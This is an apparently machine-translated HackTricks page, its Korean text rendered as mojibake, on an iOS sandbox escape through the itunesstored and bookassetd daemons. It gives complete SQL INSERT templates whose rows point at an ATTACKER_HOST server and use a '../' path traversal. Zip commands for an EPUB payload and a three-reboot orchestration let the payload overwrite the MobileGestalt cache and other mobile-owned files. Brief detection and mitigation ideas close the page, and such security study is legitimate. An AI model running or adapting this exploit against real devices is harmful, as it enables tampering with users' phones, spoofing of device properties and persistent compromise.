itunesstored & bookassetd Sandbox Escape

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

์ตœ๊ทผ ์—ฐ๊ตฌ์— ๋”ฐ๋ฅด๋ฉด ๋‘ ๊ฐœ์˜ iOS ๊ธฐ๋ณธ ํƒ‘์žฌ ๋ฐ๋ชฌ์ธ itunesstored(๋‹ค์šด๋กœ๋“œ ๊ด€๋ฆฌ์ž)์™€ bookassetd(Books / iBooks ์ž์‚ฐ ๊ด€๋ฆฌ์ž)๋Š” ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ SQLite ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๋งน๋ชฉ์ ์œผ๋กœ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค. ์กฐ์ž‘๋œ downloads.28.sqlitedb์™€ BLDatabaseManager.sqlite ํŒŒ์ผ ๋ฐ ์ตœ์†Œํ•œ์˜ EPUB ์•„์นด์ด๋ธŒ๋ฅผ /var/mobile/Media/ ์•„๋ž˜์— ๊ธฐ๋กํ•˜๋ฉด, ํ•ด๋‹น ๊ฒฝ๋กœ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ์ด๋“ค ๋ฐ๋ชฌ์„ ๊ฐ•์ œํ•˜์—ฌ /private/var/ ๋‚ด ๋Œ€๋ถ€๋ถ„์˜ mobile ์†Œ์œ  ๊ฒฝ๋กœ์— ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ณธ ๋™์ž‘์€ ์žฌ๋ถ€ํŒ…์„ ๊ฑฐ์ณ๋„ ์œ ์ง€๋˜๋ฉฐ systemgroup.com.apple.mobilegestaltcache์™€ ๊ฐ™์€ system group ์บ์‹œ๋ฅผ ๋ณ€์กฐํ•ด ์žฅ์น˜ ์†์„ฑ์„ ์Šคํ‘ธํ•‘ํ•˜๊ฑฐ๋‚˜ ์„ค์ •์„ ์˜๊ตฌํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฃผ์š” ํŠน์„ฑ:

  • ์ตœ์†Œํ•œ iOS 26.2b1๊นŒ์ง€ ์ž‘๋™(ํ…Œ์ŠคํŠธ: iPhone 12 / iOS 26.0.1).
  • ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋Œ€์ƒ์—๋Š” SystemGroup ์บ์‹œ, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media ๋ฐ ๊ธฐํƒ€ mobile ์†Œ์œ  ํŒŒ์ผ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. root ์†Œ์œ  ํŒŒ์ผ์— ๋Œ€ํ•œ ์“ฐ๊ธฐ๋Š” ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค.
  • AFC ์ˆ˜์ค€ ์ ‘๊ทผ(AFC-level access, USB ํŒŒ์ผ ๋ณต์‚ฌ)๋งŒ ์žˆ๊ฑฐ๋‚˜ ๋Œ€์ƒ SQLite DB๋ฅผ ๊ต์ฒดํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์–ด๋– ํ•œ ๋ฐœํŒ์ด๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

์œ„ํ˜‘ ๋ชจ๋ธ ๋ฐ ์š”๊ตฌ์‚ฌํ•ญ

  1. /var/mobile/Media/Downloads/ ๋ฐ /var/mobile/Media/Books/์— ๋Œ€ํ•œ ๋กœ์ปฌ ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ(3uTools, i4.cn ๊ฐ™์€ AFC ํด๋ผ์ด์–ธํŠธ ๋˜๋Š” afcclient over USB, ๋˜๋Š” ์ด์ „์˜ ์–ด๋–ค ์นจํ•ด ์ˆ˜๋‹จ).
  2. ๊ณต๊ฒฉ์ž ํŒŒ์ผ(BLDatabaseManager.sqlite, iTunesMetadata.plist, ์กฐ์ž‘๋œ EPUB)์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” HTTP ์„œ๋ฒ„(์˜ˆ: https://ATTACKER_HOST/fileprovider.php?type=...).
  3. ๊ฐ ๋ฐ๋ชฌ์ด DB๋ฅผ ๋‹ค์‹œ ๋กœ๋“œํ•˜๋„๋ก ๋””๋ฐ”์ด์Šค๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ์žฌ๋ถ€ํŒ…ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ.
  4. Stage 1 ์“ฐ๊ธฐ๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ ์ปจํ…Œ์ด๋„ˆ์— ๊ธฐ๋ก๋˜๋„๋ก ํ•˜๊ธฐ ์œ„ํ•œ Books system-group UUID์˜ ์ง€์‹( syslog์—์„œ ํ™•์ธ ).

Stage 1 โ€“ itunesstored๋ฅผ ํ†ตํ•œ downloads.28.sqlitedb ์•…์šฉ

itunesstored๋Š” /var/mobile/Media/Downloads/downloads.28.sqlitedb๋ฅผ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. asset ํ…Œ์ด๋ธ”์€ URL + ๋ชฉ์ ์ง€ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ฉฐ ์‹ ๋ขฐ๋œ ์ž…๋ ฅ์œผ๋กœ ์ทจ๊ธ‰๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž URL์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  local_path๋ฅผ Books SystemGroup ๋‚ด๋ถ€์˜ .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋กœ ์„ค์ •ํ•˜๋Š” ํ–‰์„ ๋งŒ๋“ค๋ฉด, ๋ถ€ํŒ… ์‹œ itunesstored๊ฐ€ ํ•ด๋‹น Books ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ๊ณต๊ฒฉ์ž ๋‚ด์šฉ์œผ๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค.

Books SystemGroup UUID ์ฐพ๊ธฐ

  1. pymobiledevice3๋กœ syslog ์•„์นด์ด๋ธŒ๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค:
pymobiledevice3 syslog collect logs.logarchive
  1. Console.app์—์„œ logs.logarchive๋ฅผ ์—ด๊ณ  bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.
  2. <UUID>๋ฅผ ๊ธฐ๋กํ•˜๊ณ  SQL ํŽ˜์ด๋กœ๋“œ์— ๋Œ€์ž…ํ•ฉ๋‹ˆ๋‹ค.

์•…์„ฑ asset ํ–‰

Stage 1 INSERT ํ…œํ”Œ๋ฆฟ ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

์ค‘์š”ํ•œ ํ•„๋“œ:

  • url: ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋กœ ์•…์„ฑ BLDatabaseManager.sqlite๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
  • local_path: ์•ž์„œ ํ™•์ธํ•œ Books ์‹œ์Šคํ…œ ๊ทธ๋ฃน์˜ BLDatabaseManager.sqlite ํŒŒ์ผ.
  • ์ œ์–ด ํ”Œ๋ž˜๊ทธ: ๋ฐ๋ชฌ์ด ์ž‘์—…์„ ์ˆ˜๋ฝํ•˜๋„๋ก ๊ธฐ๋ณธ๊ฐ’ ์œ ์ง€ (asset_type='media', path_extension='epub', ํ…œํ”Œ๋ฆฟ๊ณผ ๊ฐ™์ด ๋ถˆ๋ฆฌ์–ธ์„ 0/1๋กœ ์„ค์ •).

Deployment

  1. ๋ ˆ์ด์Šค๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์˜ค๋ž˜๋œ /var/mobile/Media/Downloads/* ํ•ญ๋ชฉ๋“ค์„ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.
  2. AFC๋ฅผ ํ†ตํ•ด downloads.28.sqlitedb๋ฅผ ์ œ์ž‘ํ•œ DB๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.
  3. ์žฌ๋ถ€ํŒ… โ†’ itunesstored๊ฐ€ Stage 2 ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  4. ํ•ด๋‹น plist๋ฅผ /var/mobile/Media/Books/iTunesMetadata.plist๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค; Stage 2๋Š” ํ•ด๋‹น ์œ„์น˜์—์„œ ์ด๋ฅผ ๊ธฐ๋Œ€ํ•ฉ๋‹ˆ๋‹ค.

Stage 2 โ€“ bookassetd๋ฅผ ํ†ตํ•œ BLDatabaseManager.sqlite ์•…์šฉ

bookassetd๋Š” ๋” ๊ด‘๋ฒ”์œ„ํ•œ ํŒŒ์ผ์‹œ์Šคํ…œ entitlements๋ฅผ ๋ณด์œ ํ•˜๊ณ  ZBLDOWNLOADINFO ํ…Œ์ด๋ธ”์„ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž URL์„ ์ฐธ์กฐํ•˜๊ณ  ZPLISTPATH์— traversal์„ ํฌํ•จํ•˜๋Š” ๊ฐ€์งœ ๊ตฌ๋งค ํ–‰์„ ์‚ฝ์ž…ํ•จ์œผ๋กœ์จ, ๋ฐ๋ชฌ์€ ๋‹น์‹ ์˜ EPUB์„ /var/mobile/Media/Books/asset.epub๋กœ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์ดํ›„ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ../../.. ์ด์Šค์ผ€์ดํ”„ ์‹œํ€€์Šค๋ฅผ ํ†ตํ•ด ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  mobile ์†Œ์œ  ๊ฒฝ๋กœ๋กœ ํ’€์–ด๋†“์Šต๋‹ˆ๋‹ค.

์•…์„ฑ ZBLDOWNLOADINFO ํ–‰

Stage 2 INSERT ํ…œํ”Œ๋ฆฟ ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

์ค‘์š” ํ•„๋“œ:

  • ZASSETPATH: ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋””์Šคํฌ์ƒ์˜ EPUB ์œ„์น˜.
  • ZURL/ZPERMLINK: ๊ณต๊ฒฉ์ž๊ฐ€ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” EPUB ๋ฐ ๋ณด์กฐ plist์˜ URL.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library โ€“ path traversal base๋กœ EPUB์—์„œ ์ถ”์ถœ๋œ ํŒŒ์ผ์— ๋ถ™๋Š” ๊ฒฝ๋กœ. ์›ํ•˜๋Š” SystemGroup ๋Œ€์ƒ์— ๋„๋‹ฌํ•˜๋„๋ก traversal depth๋ฅผ ์กฐ์ ˆํ•˜์„ธ์š”.
  • ๊ตฌ๋งค ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ (ZSTOREIDENTIFIER, names, timestamps)๋Š” ์ •์‹ ํ•ญ๋ชฉ์„ ๋ชจ๋ฐฉํ•˜๋„๋ก ์„ค์ •ํ•˜์—ฌ ๋ฐ๋ชฌ์ด ํ•ด๋‹น ํ–‰์„ ๋ฒ„๋ฆฌ์ง€ ์•Š๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์•…์„ฑ DB๋ฅผ /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite๋กœ ๋ณต์‚ฌํ•œ ํ›„(Stage 1 ๋•๋ถ„) ๊ธฐ๊ธฐ๋ฅผ ๋‘ ๋ฒˆ ์žฌ๋ถ€ํŒ…ํ•˜๋ฉด, bookassetd๋Š” (1) EPUB์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , (2) ์ด๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ ์ถ”์ถœ๋œ plist๋ฅผ traversal๋œ ๊ฒฝ๋กœ ์•„๋ž˜์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

EPUB ํŽ˜์ด๋กœ๋“œ ์ œ์ž‘

bookassetd๋Š” EPUB ZIP format์„ ์ค€์ˆ˜ํ•ฉ๋‹ˆ๋‹ค: mimetype์€ ์ฒซ ๋ฒˆ์งธ ์••์ถ• ํ•ด์ œ๋˜์ง€ ์•Š์€ ํ•ญ๋ชฉ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. EPUB ์ฝ˜ํ…์ธ ๋ฅผ MobileGestalt cache์— ๋งคํ•‘ํ•˜๋ ค๋ฉด, ZPLISTPATH๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์›ํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ๋ฐ˜์˜ํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ํŠธ๋ฆฌ๋ฅผ ๊ตฌ์„ฑํ•˜์„ธ์š”.

Caches/
โ”œโ”€โ”€ mimetype
โ””โ”€โ”€ com.apple.MobileGestalt.plist

์•„์นด์ด๋ธŒ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype typically contains the literal application/epub+zip.
  • Caches/com.apple.MobileGestalt.plist holds the attacker-controlled payload that will land at .../Library/Caches/com.apple.MobileGestalt.plist.

์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ ์›Œํฌํ”Œ๋กœ์šฐ

  1. ๊ณต๊ฒฉ์ž HTTP ์„œ๋ฒ„์— ํŒŒ์ผ์„ ์ค€๋น„ํ•˜๊ณ  ํ˜ธ์ŠคํŠธ/UUID๋ณ„ ๊ฐ’์„ ๋„ฃ์–ด ๋‘ ๊ฐœ์˜ SQLite DB๋ฅผ ์ œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  2. ์žฅ์น˜์˜ downloads.28.sqlitedb๋ฅผ ๊ต์ฒดํ•˜๊ณ  ์žฌ๋ถ€ํŒ… โ†’ Stage 1์ด ์•…์„ฑ BLDatabaseManager.sqlite๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  3. iTunesMetadata.plist๋ฅผ ๋ณต์‚ฌํ•˜์—ฌ /var/mobile/Media/Books/iTunesMetadata.plist๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค(๋ฐ๋ชฌ์ด ์‚ญ์ œํ•˜๋ฉด ๋ฐ˜๋ณต).
  4. ๋‹ค์‹œ ์žฌ๋ถ€ํŒ… โ†’ bookassetd๊ฐ€ Stage 2 ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด asset.epub๋ฅผ /var/mobile/Media/Books/๋กœ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  5. ์„ธ ๋ฒˆ์งธ๋กœ ์žฌ๋ถ€ํŒ… โ†’ bookassetd๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋œ ์—์…‹์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ZPLISTPATH๋ฅผ ๋”ฐ๋ผ EPUB ๋‚ด์šฉ์„ ๋Œ€์ƒ SystemGroup ๊ฒฝ๋กœ(์˜ˆ: com.apple.MobileGestalt.plist)์— ์”๋‹ˆ๋‹ค.
  6. ๊ฒ€์ฆ: ๋ฎ์–ด์“ด plist๋ฅผ ์ฝ์–ด ํ™•์ธํ•˜๊ฑฐ๋‚˜ MobileGestalt์—์„œ ํŒŒ์ƒ๋œ ์†์„ฑ(๋ชจ๋ธ ์‹๋ณ„์ž, ํ™œ์„ฑํ™” ํ”Œ๋ž˜๊ทธ ๋“ฑ)์ด ๋ณ€๊ฒฝ๋˜์—ˆ๋Š”์ง€ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค.

๋™์ผํ•œ ํŒจํ„ด์œผ๋กœ FairPlay ์ƒํƒœ๋‚˜ ์˜์†์„ฑ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋“ฑ ๋‹ค๋ฅธ mobile ์†Œ์œ ์˜ ์บ์‹œ ํ•˜์œ„์— ํŒŒ์ผ์„ ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ์–ด kernel exploit ์—†์ด ์€๋ฐ€ํ•œ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋„๊ตฌ ๋ฐ ์šด์˜ ๋…ธํŠธ

  • pymobiledevice3 syslog collect logs.logarchive โ€“ ๋กœ๊ทธ ์•„์นด์ด๋ธŒ๋ฅผ ์ถ”์ถœํ•˜์—ฌ Books SystemGroup UUID๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
  • Console.app โ€“ bookassetd [Database]: Store is at ...๋กœ ํ•„ํ„ฐ๋งํ•˜์—ฌ ์ •ํ™•ํ•œ ์ปจํ…Œ์ด๋„ˆ ๊ฒฝ๋กœ๋ฅผ ๋ณต๊ตฌํ•ฉ๋‹ˆ๋‹ค.
  • AFC clients (afcclient, 3uTools, i4.cn) โ€“ jailbreak ์—†์ด USB๋กœ SQLite DB์™€ plist ํŒŒ์ผ์„ push/pull ํ•ฉ๋‹ˆ๋‹ค.
  • zip โ€“ ํŽ˜์ด๋กœ๋“œ ํŒจํ‚ค์ง• ์‹œ EPUB ์ˆœ์„œ ์ œ์•ฝ์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  • Public PoC โ€“ https://github.com/hanakim3945/bl_sbx ๋Š” ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆ ๊ฐ€๋Šฅํ•œ baseline SQLite/EPUB ํ…œํ”Œ๋ฆฟ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™” ์•„์ด๋””์–ด

  • downloads.28.sqlitedb์™€ BLDatabaseManager.sqlite๋ฅผ ์‹ ๋ขฐ๋˜์ง€ ์•Š๋Š” ์ž…๋ ฅ์œผ๋กœ ๊ฐ„์ฃผ: local_path / ZPLISTPATH๊ฐ€ ์Šน์ธ๋œ ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด๋ถ€์— ๋จธ๋ฌด๋ฅด๋Š”์ง€ ๊ฒ€์ฆํ•˜๊ณ  ์ ˆ๋Œ€ ๊ฒฝ๋กœ ๋˜๋Š” ๊ฒฝ๋กœ ํƒˆ์ถœ ํ† ํฐ์€ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.
  • AFC๊ฐ€ ์ด๋Ÿฌํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ต์ฒดํ•˜๋Š” ์“ฐ๊ธฐ ๋™์ž‘์ด๋‚˜ ๋ถ€ํŒ… ์งํ›„ itunesstored / bookassetd์— ์˜ํ•ด ์‹œ์ž‘๋œ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๋‹ค์šด๋กœ๋“œ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.
  • bookassetd์˜ ์–ธํŒจํ‚น์„ ๊ฐ•ํ™”ํ•˜์—ฌ ์ถœ๋ ฅ ๋Œ€์ƒ์— ๋Œ€ํ•ด realpath()๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ํŒŒ์ผ ์ž‘์„ฑ ์ „์— Books ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋ฒ—์–ด๋‚˜์ง€ ๋ชปํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • AFC/USB ํŒŒ์ผ ๋ณต์‚ฌ ์ฑ„๋„์„ ์ œํ•œํ•˜๊ฑฐ๋‚˜ Books/iTunes ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ํŒŒ์ผ ๊ต์ฒด๋ฅผ ํ—ˆ์šฉํ•˜๊ธฐ ์ „์— ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ